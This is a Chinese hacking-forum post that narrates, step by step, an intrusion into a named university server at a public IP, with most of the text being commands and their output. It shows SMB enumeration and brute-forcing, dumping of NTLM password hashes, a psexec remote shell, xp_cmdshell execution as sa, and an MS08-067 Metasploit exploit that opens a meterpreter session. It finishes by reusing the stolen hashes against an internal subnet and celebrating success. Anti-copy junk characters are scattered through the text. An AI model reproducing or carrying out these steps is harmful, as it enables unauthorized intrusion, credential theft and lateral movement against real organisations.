中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]
作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/
- Y0 _: b) o$ _9 p1 |
  b" v5 ]- o5 u" |root@bt:~# nmap -sS -sV 202.103.242.241. t" a; `& }, S- V: o0 N9 b$ a

. _. U6 f2 N: X. b$ f7 WStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST+ R/ ?7 z! h2 o, N

" |3 s" Z1 B1 }# i8 s# n8 pNmap scan report for bogon (202.103.242.241)
4 U' C4 _9 ~- _$ ]: i2 K8 I* ]7 i& V! T* J; @9 n9 o
Host is up (0.00048s latency).
7 M6 d' t+ A( F2 E$ }6 I
7 m& z# B5 w3 y" G% l1 N4 PNot shown: 993 closed ports/ E+ f# |/ E2 `" X1 j

6 _2 S. }/ [$ `) EPORT     STATE SERVICE       VERSION
2 _2 |) ]" k5 R, ?7 {' Z* e3 L+ A( `( b0 |' k$ b& N/ _
135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe). z+ a7 v5 |0 @9 D8 a- C$ B

: `/ j& Y) {- N& V6 d- I139/tcp  open  netbios-ssn
" {- |. z# _% |: M6 I7 r6 N% d( I$ G, R/ D' p. e
445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
! C0 R2 D" Q* k
2 n* h, k  I. s7 O/ x1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)8 q6 L0 t! K2 [, ]& w$ `

0 [* [- }9 w2 |1026/tcp open  msrpc         Microsoft Windows RPC
/ Z' g9 N8 r: N- r: f1 D
5 v* W# w% d9 q3372/tcp open  msdtc?. B) e% B4 C" A' N2 W

. M. q' [' G9 S( l7 k7 {6 i3389/tcp open  ms-term-serv?9 V5 E  i; k3 g- {8 A; a3 J

1 S. t+ |( U0 f; T& j+ c4 e3 c1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :: g! A" P! R; Z) h. ?. h1 h
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
6 D% E5 Y; C  F* w1 k# Q% O8 y
2 t, I  m, D7 cSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions. }" _1 Y3 N7 T# I1 p
2 S3 F: g* Q; `& d# S( ~
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)5 z( I0 M4 i" z2 V( d: {0 j6 n
! O1 V$ R5 ~% D& v
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO/ m) ^8 m/ B: @1 j4 j7 K

; `. l$ D) z: T$ ~$ [SF:ptions,6,”hO\n\x000Z”);
5 y5 O% L9 P+ @8 X
  H+ q( w. e, @; {  @3 |2 L8 TMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ S) ^2 ?7 G7 ?8 b" g) K8 F
; ?' K! l8 s0 |1 W# Q
Service Info: OS: Windows
$ x$ D) W  \2 B3 e% q, M/ G8 _) Z" u8 `- \- p) w
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
5 p5 W) k& l, L5 R% l& |
8 i* x8 Y: h/ J6 _( Q9 I1 h; JNmap done: 1 IP address (1 host up) scanned in 79.12 seconds: P  u, t0 ^. Z

6 x* r  H" ^, S2 G5 V! xroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本
2 N2 \* N4 \; Y/ c: I8 k% F1 T! f4 m8 o/ h
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
) \+ r5 R6 X8 p" p- c6 |# d
$ Q% d6 p# t5 \$ ^! ~6 M-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
: z" \9 M$ U8 _, x/ h3 j' D% X6 t, {4 V$ k" C3 b3 H
-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse
1 l0 Q$ j5 O- v& V) y. _+ S, Z$ d, w; a' t
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse2 q; ]8 S% |" E
# |4 ?  |' X4 u5 u' I9 R
-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse! h7 s2 N+ |' M9 Q' C6 o

# \7 x* }# i% K( t0 F-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
8 Z9 x  a8 ~2 B7 S! n3 `6 `7 V5 L& G& g$ f# O) @$ V6 ^( w
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse- ?/ f) n" W0 m

# _# U. F0 l8 o-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
, j9 Z) o# u# D" @2 c' h7 b# h% Z4 R
-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse* q3 @, X. B# x6 K

/ X9 M6 e1 m! f-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
4 y% J- R# ?9 O5 T. a( n& P: J$ U
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
( M0 T; E& i! ~- y8 h- s2 L2 f& [  ^2 w7 k8 k
-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse
% s$ V9 I7 V# N% l  o
6 M3 c& @$ P4 m7 _0 ^8 D-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse
: y6 z6 B- W" b* r5 l, @2 v; {. W. N4 ]% G  x. @
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse6 f9 e. i1 z9 W) H' z3 e" }
- Z: a0 \$ v1 a, d0 {" H. E
-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
" g/ v$ w% }! H0 l7 z; H( ]: V- T3 [& L, [8 j4 ^3 O+ e
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   ( J- w5 g4 h6 X
1 `& }" K% Q5 `6 @9 R8 E
//此乃使用脚本扫描远程机器所存在的账户名
0 S6 H  {4 h- F& F1 p
3 n/ X6 @1 D1 }' SStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST& ^1 v" x) {. g* A; P$ ]

9 S( M* i% p3 e1 ONmap scan report for bogon (202.103.242.241)
$ K2 m7 J0 W0 L  d  O
, D& \: E9 v1 j! E2 n% QHost is up (0.00038s latency).! @6 `6 s  x, p+ Q* E
% ^( l2 W" o  k1 O# s! l
Not shown: 993 closed ports
/ E* F) f* |) m! b3 e- _& [: w: L* G/ g
. |1 }6 B9 m& ?$ a) _/ g8 Y* YPORT     STATE SERVICE0 v* k6 p) H( q
  n0 B. ?6 J$ ]$ r# P
135/tcp  open  msrpc& i- x: c# e; t. K7 N" O" ]
5 K. f7 c  T/ Q' P
139/tcp  open  netbios-ssn
  m( [, X8 T& j9 X- I5 R# W# ~9 K" ]+ b" b5 I$ U
445/tcp  open  microsoft-ds
: H' v* g3 h* c# B% J2 \% j& M% Z" t8 o/ h: ^1 V9 D
1025/tcp open  NFS-or-IIS
* l. ^) p4 Q) V( F$ `9 R( A- J6 C- t' k5 k* {" a5 T+ A
1026/tcp open  LSA-or-nterm
: z  a4 y5 N& R* E3 h
+ c& v! |1 K: F) J" z, i6 Y3372/tcp open  msdtc
. k  `6 \4 N, F( b# ?) T! q! H
' o3 N6 n8 D3 h/ h3389/tcp open  ms-term-serv
* a" T  f+ P. u( _" q3 u+ g9 Z& J: a% I' ^
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)5 Y# W& _& b$ `3 m$ g& h5 ^
4 U* [; b! c1 h7 o6 ], C
Host script results:
6 |6 N! e9 g7 a5 x* w' l' ]9 g, h! e: ^; S
| smb-enum-users:, K/ Z* P) n4 M+ T- W9 l

/ G$ g8 h1 {" B1 T; A! j- n1 @2 c$ ?|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
$ e' [4 m7 {7 p: q. m5 H
. l- l5 a' [4 O; wNmap done: 1 IP address (1 host up) scanned in 1.09 seconds
$ d; e3 Q0 y+ F
* s1 F" p8 L9 O% }4 d: mroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 $ L. O3 W* W' u

8 g( j: @6 c0 S8 W. S//查看共享
5 h" u  v1 ]4 q- k' K, W, M7 ?) i8 l
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST1 N5 l9 q" g; h0 A
) \) V9 j" h* M" y" H8 u: v4 b
Nmap scan report for bogon (202.103.242.241)  r+ W% z2 \+ B0 m) G
: o1 h- s' j; g( ~! @
Host is up (0.00035s latency).; C; g3 u& L& o+ ]' X1 j

& S8 \) j8 v0 C" o* L  S) ]Not shown: 993 closed ports5 z2 }. B" q3 l" u
8 H4 G& z% j4 R9 D  ^
PORT     STATE SERVICE: E2 S; j5 |) M
; [" C3 m" m! Y/ n
135/tcp  open  msrpc
2 R* R9 T6 l  d- t* A' N8 W- \( U  C1 @8 S
139/tcp  open  netbios-ssn& y0 N  Y) t+ l/ F, }5 a3 O
& W. h  x1 m5 T. {+ t" Y; {
445/tcp  open  microsoft-ds( Z- s; q" h2 A

$ \8 d; B- b6 Z9 D, j, }) g  l1025/tcp open  NFS-or-IIS
* ]* r3 f9 H, J1 O# D4 l, p# C+ {5 d$ K
1026/tcp open  LSA-or-nterm0 W* m! M8 x1 {7 p' \9 N
' `- p" z+ F7 [5 `$ X, \* I; Z
3372/tcp open  msdtc6 q5 _3 h2 K6 O5 N3 Z8 G
4 u& a% Y, k0 L5 u% B0 M+ l( X% B
3389/tcp open  ms-term-serv
4 D  ]( U1 B3 V" |& t/ Y$ o) ]' X
. t# a7 Y- i0 jMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
& f" b/ E; w5 }
' ^# R( F8 v& q2 ?; O9 WHost script results:" l; t0 W  E: C3 W; o

  P% \$ z. ~$ S  {| smb-enum-shares:1 b" S1 m+ i, N
% \& p4 Q& b; S6 v3 K
|   ADMIN$1 ?4 q: [! A3 `% C9 R& e( p

' I. m# N$ C. A, Q|     Anonymous access: <none>3 i/ [, R& Z( @2 v; j4 H9 o
- b% s7 u2 G0 J6 y( c8 f* i
|   C$  b0 r9 j& e4 [; O6 X( I$ n
1 M% ^5 g. @2 V* u  ~4 o+ y9 n% h
|     Anonymous access: <none>& K+ U1 g, g; G! e0 J% O8 p  C( `  Y
+ V1 g3 w9 [+ C
|   IPC$
" z6 ~9 d  h& T* T
! K3 f/ {: z$ c6 w|_    Anonymous access: READ: [5 {4 G: P4 c4 ]# }% j- l5 O4 ^
0 x4 {* L/ e  @! ^' E7 g7 \1 y+ g
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds! X* v7 U# s5 h. m5 O6 d8 Y
  N2 v- x/ P2 p' `5 l3 d
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241       & _: k, C+ C/ T6 M8 r  I

1 V" x) G, K4 b) \//获取用户密码
3 a9 q9 p/ T9 o# g" ^6 I/ {* p: P/ V) v) T$ W1 w
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST& k" p3 A: k+ G$ N9 r

  n4 `9 o# ]6 @* CNmap scan report for bogon (202.103.242.2418)
% {  }2 l9 E; q+ m9 E# z0 T* p
1 V: }  x( `( q) O3 p1 u3 EHost is up (0.00041s latency).
" f, l; F  n) s! ^+ w* M7 l# d- d5 ]+ k# n2 u# a5 o7 y
Not shown: 993 closed ports
6 X) s2 m6 j6 M0 \3 U% n; h
3 S; q, v9 R7 `PORT     STATE SERVICE
8 A9 p0 c; }  _8 d2 T4 p' h  d$ `# t3 y7 U# P! d. _9 ?# g
135/tcp  open  msrpc$ t! z8 j: C/ J9 L3 S( X2 @9 }: V
/ o. K+ J& k  o9 @
139/tcp  open  netbios-ssn
* T% o2 u# K" I4 Q; s$ r4 b0 u$ J6 |; m* B0 o4 w/ [! O
445/tcp  open  microsoft-ds
* H+ Y, b; k! W9 m/ t( V6 ]* w" C- @0 x7 e% f
1025/tcp open  NFS-or-IIS
+ h2 b9 U, I5 @9 B: P. `
0 d3 q" `  d( O) W& o/ M: l5 g$ S1026/tcp open  LSA-or-nterm4 H% p$ p: }  p  L
: R4 T3 \$ r9 ^2 y6 V: s: `+ M
3372/tcp open  msdtc$ R, N) K9 E0 ]) n

* m9 t( c1 {8 H& E2 v+ M3389/tcp open  ms-term-serv( }$ S. x% c4 H, e+ `
; k% n9 r, L+ G6 s8 ?" o+ C$ S
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
$ }) {* H+ {, x( `. S$ J4 L' Z6 G4 S7 T3 {' I# d* D  }
Host script results:
  t$ t( ]: \$ m6 d: I3 R3 f2 G6 t
| smb-brute:
& r  S5 A9 J0 t$ |2 T4 v7 R/ q" V
administrator:<blank> => Login was successful
8 V0 u) Y4 o% ?$ i+ P
9 ]# l) A9 z8 w; X% g' I3 A$ V9 C|_  test:123456 => Login was successful7 P3 ~4 u: k4 j; e. n7 Q

0 M4 H4 X' S, ]5 u) j' VNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
  b! P+ @' F0 f5 e. r. [
; _7 K& L; R* R$ I8 I. Iroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash' ~( F' T/ W$ S" F; G/ W

2 A* n- F; }' O& S9 ?root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
3 q7 x3 m' c% p: l& x6 X1 a# w7 ~/ M1 F
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse* Z9 ?5 l( t: L, s- K4 Y* e6 ~  n

9 [. ]' D1 B5 S8 L, f! V: J' l) X8 c4 croot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,1392 F2 V! L1 {( b# D/ S

$ V7 b8 Z/ p* K; c9 x$ EStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
1 r, v# N' w' s8 Z& P
8 x7 R2 ^6 T5 a3 v; |Nmap scan report for bogon (202.103.242.241)- b0 g2 X9 c) r* o

* ?: `) w. Q2 X. w# G- N# JHost is up (0.0012s latency).! f' C  s2 L: f6 u! |" w! R2 P

) B* \4 r+ v; Q% I1 {PORT    STATE SERVICE! w8 k- u' N7 a/ O4 Y: F' F5 O3 x
7 X3 ~" p6 p+ S& G+ K' w
135/tcp open  msrpc
7 k1 I+ R8 R5 I, r3 h, T6 j4 A) E# h+ }$ v  a- j# |) N0 G
139/tcp open  netbios-ssn4 N: y- K) w' ?( a+ Z4 ?7 [
$ c" \( e3 |- k6 U5 L# Z
445/tcp open  microsoft-ds) f2 m7 ~! Q7 c# W  L! @( c

. f" K5 w. w" Z# p) l$ ?6 LMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
5 K* F  j6 P* b2 C. p
6 ?0 _; e7 \4 e! U( ^, F& H) JHost script results:7 H! X/ c  p8 J) s
, Y; V% E6 H6 e  I
| smb-pwdump:5 a5 p$ ]! Y* g: `
( x! I) F3 ^% \
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************. O3 q1 c9 @1 L8 f; k  Z
6 p& {% k& o: ^- p* @3 c
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************4 ]! F. t$ `4 u! [) A  _
7 z3 @6 ^6 I/ V) {. V  E+ w
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
* \' O5 Q$ ]9 i; Y  u$ T9 f: {% n7 v' C" a. q$ u9 a; w
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
) a. M6 Y3 l# M% m0 p* h/ B5 O6 u* J1 q& v
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
7 t% Q& L, x5 H  ~" G4 v0 a
, x4 C' C9 H( T) X1 z9 s5 O, C1 iC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell, K* d8 @* i3 X( n! {% T6 v( T$ Z

3 M9 q/ g9 \& K-p 123456 -e cmd.exe
" T7 p1 I% b3 Q  C& e
* p3 S; C* I& |PsExec v1.55 – Execute processes remotely
; x# M" \& ~! Q* @4 Y  {4 k5 u# Z" F* g5 [& f: W2 Y3 Y
Copyright (C) 2001-2004 Mark Russinovich3 q8 i, m3 @% X" w

& b0 {, q; r: ^6 B7 m5 r2 pSysinternals – www.sysinternals.com
' v, G* B* J5 m7 R- `# j
+ ?3 x) y0 s, [7 V3 `% WMicrosoft Windows 2000 [Version 5.00.2195]  {, o4 E$ ]" V& z: t4 F- L$ v

# l8 f; e  y1 r(C) 版权所有 1985-2000 Microsoft Corp.2 {: b" t$ t" s9 Y3 e# Q9 Y/ r

. b4 q9 v* ?& m( u7 T$ KC:\WINNT\system32>ipconfig
7 b1 a$ a3 v/ r; |" n  S. y9 X
9 p4 b2 p& Y* m% B. DWindows 2000 IP Configuration( t& H0 ^) K6 _" C! E) G7 a/ E

0 o1 x" k  j* DEthernet adapter 本地连接:' Z& N7 l& r0 K) g8 e+ O5 r
5 }% v) S7 F. f0 F- M. g" `
Connection-specific DNS Suffix  . :
7 z' d8 F& [" T1 M8 n# W7 L" |+ U" o' D5 E  V
IP Address. . . . . . . . . . . . : 202.103.242.241
: k$ I* `. P5 ~# g" A
+ l$ G$ q0 `' n! G$ l" RSubnet Mask . . . . . . . . . . . : 255.255.255.0
) U1 |/ ~( P! r2 E% E8 u( w% `2 H! Z6 j4 Q; m8 x3 |
Default Gateway . . . . . . . . . : 202.103.1.1- s' S. a- F6 r5 f+ ]4 O1 l" e& h

7 b0 N# J: Z9 C% bC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令. q( r0 C* a; G# ^  V$ U# E

$ d, t& A" F$ W. m6 i# yroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞4 J5 H* Z' @: ]3 h0 h% E8 R1 P# m/ b! p) }

% _1 ]& y* @6 U; RStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST) C' o, g. X7 W5 a6 M4 X
* N* F! O' g9 _" |7 T
Nmap scan report for bogon (202.103.242.241)
! p% \; Y( W+ \% Z
" N! t3 M. b6 ~# @Host is up (0.00046s latency).
: k4 k8 ]6 S* Y4 g8 t4 ]# c; I2 l! T2 T
Not shown: 993 closed ports
* [0 W/ b) l% M$ S4 |' A3 L9 w( v* J8 g/ z' |
PORT     STATE SERVICE
6 m. O( y) u3 p2 z& q: J$ b5 \6 J9 y# H
135/tcp  open  msrpc. V1 W: t1 r+ E; h
# t3 D* E3 _" D) y2 S- ~; a
139/tcp  open  netbios-ssn5 E$ q9 w% f+ Y+ ]7 k

' t2 N6 Z6 w' j4 x* ]0 w445/tcp  open  microsoft-ds& t1 ~* w: H, ^4 ~- M
8 o; _  T: \7 P9 b3 O2 }* J. c
1025/tcp open  NFS-or-IIS: O, ], `( T9 j

' q7 G) E$ z, {& \" G6 }1026/tcp open  LSA-or-nterm
9 p- \& Y; x1 o, u) X* G. Z6 H& ?- g7 h
3372/tcp open  msdtc- h6 T4 w1 s% |  s
1 U, e5 a2 x0 i1 l7 V( t
3389/tcp open  ms-term-serv, ]! P5 D# r$ L- M# G' M3 [. A

" H& Y! c8 W) n& dMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)2 y% B4 g! f. Q, A* A

3 ^6 M2 K3 u5 lHost script results:1 n0 G& Y7 S) X5 l6 [
; q! [  r0 c! X) j7 v1 O$ s/ `
| smb-check-vulns:
& X  h/ E: d, _* P. F1 Z) f; R2 I$ d' S$ t. B; S9 `
|_  MS08-067: VULNERABLE# c7 x$ v! n2 E5 g/ N  e# k
! c6 h2 }! B& k, Y6 l
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
- V7 ]: ]6 A# J- o
: G2 S3 H. o5 [( |8 |root@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出9 r# y2 P& P- C4 a7 {& Y5 d3 V

0 R9 |3 o: B# N& ?+ n8 Ymsf > search ms08. Z, b& g: x; x/ [' Q' v# v; \: b

/ n- h  ^( l8 N$ \/ Vmsf > use exploit/windows/smb/ms08_067_netapi# P0 U* i$ u$ a
  j4 W, W0 V, M; p4 [
msf  exploit(ms08_067_netapi) > show options
! k5 j: Y2 ]/ N5 Q
& h" N9 g* ^) d: Hmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241
4 A" ]% G- Q) Y# _' p
) u2 ^) c- ?* |' J; ^8 }4 Gmsf  exploit(ms08_067_netapi) > show payloads
: `) T( j# Z$ X
4 A7 y5 t8 B0 o# c& O+ a" i/ O4 Ymsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp; f# d& ]2 O6 \5 `1 ^' {) o

1 E7 r' _8 J. o- Vmsf  exploit(ms08_067_netapi) > exploit; b- ]+ M$ W, r3 M# s7 T5 J- }

# c7 t2 g" ?4 U; w9 d' lmeterpreter >, t! M, ?4 J0 J, P; l! s) e% P

6 x5 z5 Z( V( Q5 f4 T; jBackground session 2? [y/N]  (ctrl+z)0 c0 x0 {8 b: u: `

3 b; e0 S0 Y0 X' Mmsf  exploit(ms08_067_netapi) > sessions -l# O: h4 I7 r+ ]' q0 i9 [" F6 s7 l

3 X5 e3 b4 f0 r: troot@bt:/usr/local/share/nmap/scripts# vim usernames.txt6 d2 `1 w5 J. X; i

0 Y2 Y4 ^, X- Z& D- R# G' _" T; rtest8 l1 T1 O( b  g0 b7 y2 n6 }

0 Y, X9 D4 Y9 g& [$ Tadministrator
; S6 M1 h9 B# A" P& M
2 S' i$ N; r6 {# A  [root@bt:/usr/local/share/nmap/scripts# vim password.txt
# k, `- X  J1 h. ^5 K
$ v/ }) H$ h( Q- C$ z$ Q& O44EFCE164AB921CAAAD3B435B51404EE: H0 z: {6 D' U4 X4 Q0 G  U, s
8 ^! C  g. n% _6 K- V# k; t
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
8 W( i9 W8 I8 ?% O7 E2 Q7 J' y8 y
//利用用户名跟获取的hash尝试对整段内网进行登录
7 b& l5 m: P- L" t6 H# e, K; \7 T+ _8 V
Nmap scan report for 192.168.1.1051 `. X( D5 m6 h2 ?
8 c- w8 `% w6 E1 V! \3 F: k
Host is up (0.00088s latency).
% w4 n+ I$ x7 R. {6 J. H
) U; ?( o! }& h8 uNot shown: 993 closed ports! W2 K( E/ t( e6 e8 L$ b& T. n" d/ @

3 z( j( f; T; ?  ?, tPORT     STATE SERVICE
4 U% Z3 u5 |2 j/ Q% J5 X+ K  ^/ {: Z% q3 w2 C9 v
135/tcp  open  msrpc& o# h/ z  t# u2 X8 b+ }

1 @! q! u; |0 n# D, _139/tcp  open  netbios-ssn
1 U6 e$ A" {$ {/ S5 h
, u  D8 Z! T# V& s3 q, s445/tcp  open  microsoft-ds+ N; Y+ r: p5 ]- }# n
" {% |8 ]9 P% t' s; w5 C+ `
1025/tcp open  NFS-or-IIS
9 n4 B6 F/ `  F; I
: ?6 C3 R7 I" N8 n5 y7 V9 v1026/tcp open  LSA-or-nterm
9 D& r0 k  g* x- p6 P+ |7 L+ Y4 J( {+ `
3372/tcp open  msdtc
( ~: i* V) ~& m- |  J/ W) b# M' T) W$ Q& s) R# g) b
3389/tcp open  ms-term-serv2 x  D( W9 d& ?3 Z. e

- B0 Q" A/ I  u' l3 R, YMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
4 \! N4 K9 m: \, H3 w; g  g4 i& N* I2 ]" \. {
Host script results:
1 _7 q, N+ t  E% K# ^) F3 m5 K" p9 t, `6 C3 H0 U; T
| smb-brute:5 `" A! _9 F9 l6 f- N3 W6 k

7 M: \5 |, G" I|_  administrator:<blank> => Login was successful& e# @  I3 p7 k

& m7 \/ u( U( k& f- l/ M, |9 G2 S攻击成功，一个简单的msf+nmap攻击~~·
) n1 i% y4 y% f. h/ o' `* r- ^& t9 r$ l7 p: b$ m




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2